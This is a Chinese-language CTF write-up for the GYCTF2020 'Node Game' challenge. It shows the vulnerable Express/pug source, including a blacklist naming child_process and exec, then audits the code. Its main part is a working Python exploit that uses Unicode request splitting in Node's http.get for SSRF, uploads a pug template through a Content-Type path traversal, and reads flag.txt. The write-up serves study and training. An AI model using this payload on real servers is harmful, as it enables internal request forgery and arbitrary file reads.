[GYCTF2020]Node Game
源码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
知识点
- 通过拆分攻击实现的SSRF攻击
-
解题步骤、
0x01 代码审计
app.get('/', function(req, res) { var action = req.query.action?req.query.action:"index"; if( action.includes("/") || action.includes("\\") ){ res.send("Errrrr, You have been Blocked"); } file = path.join(__dirname + '/template/'+ action +'.pug'); var html = pug.renderFile(file); res.send(html); });
接受/?action, 并进行黑名单过滤
然后进行pug文件渲染app.post('/file_upload', function(req, res){ var ip = req.connection.remoteAddress; var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only admin's ip can use it" res.send(JSON.stringify(obj)); return } fs.readFile(req.files[0].path, function(err, data){ if(err){ obj.msg = 'upload failed'; res.send(JSON.stringify(obj)); }else{ var file_path = '/uploads/' + req.files[0].mimetype +"/"; var file_name = req.files[0].originalname var dir_file = __dirname + file_path + file_name if(!fs.existsSync(__dirname + file_path)){ try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error"; res.send(JSON.stringify(obj)); return } } try { fs.writeFileSync(dir_file,data) obj = { msg: 'upload success', filename: file_path + file_name } } catch (error) { obj.msg = 'upload failed'; } res.send(JSON.stringify(obj)); } }) })
文件上传,并且只能在本地上传
但是mimetype可控, mimetype即为请求头中的content-type, 这样就可以进行目录穿越, 将pug文件上传到/template中, 从而读取pug文件app.get('/core', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("<p>error occurs!</p>"); } else { try { http.get(url, function(resp) { resp.setEncoding('utf8'); resp.on('error', function(err) { if (err.code === "ECONNRESET") { console.log("Timeout occurs"); return; } });
/core?q=可以发送请求, 所以从这个地方可以进行ssrf
0x02 大佬脚本
贴一个大佬脚本
import urllib.parse import requests payload = ''' HTTP/1.1 POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------- -919695033422425209299810 Content-Length: 291 ----------------------------919695033422425209299810 Content-Disposition: form-data; name="file"; filename="abc.pug" Content-Type: ../template doctype html html head style include ../../../../../../../flag.txt ----------------------------919695033422425209299810-- GET /flag HTTP/1.1 x:''' payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) r = requests.get('http://160c4e12-69eb-45a5-9ef8-fd7260e35bc2.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload)) print(payload)
这里最后的GET /flag只是为了闭合HTTP请求
原始请求数据如下: GET / HTTP/1.1 Host: xxx.xxx.xxx 当我们插入数据后: GET / HTTP/1.1 GET /upload_file HTTP/1.1 xxxxxx文件上传 xxxxxx文件上传 Host:xxxxxxxxxx 上次请求包的Host参数就单独出来了。会报错。所以我们再构造一个请求把他闭合 GET / HTTP/1.1 GET /upload_file HTTP/1.1 xxxxxx文件上传 xxxxxx文件上传 GET /flag HTTP/1.1 x:Host:xxxxxxxxxx
然后再请求/?action=abc(pug的文件名)
f12查看style即可得到flag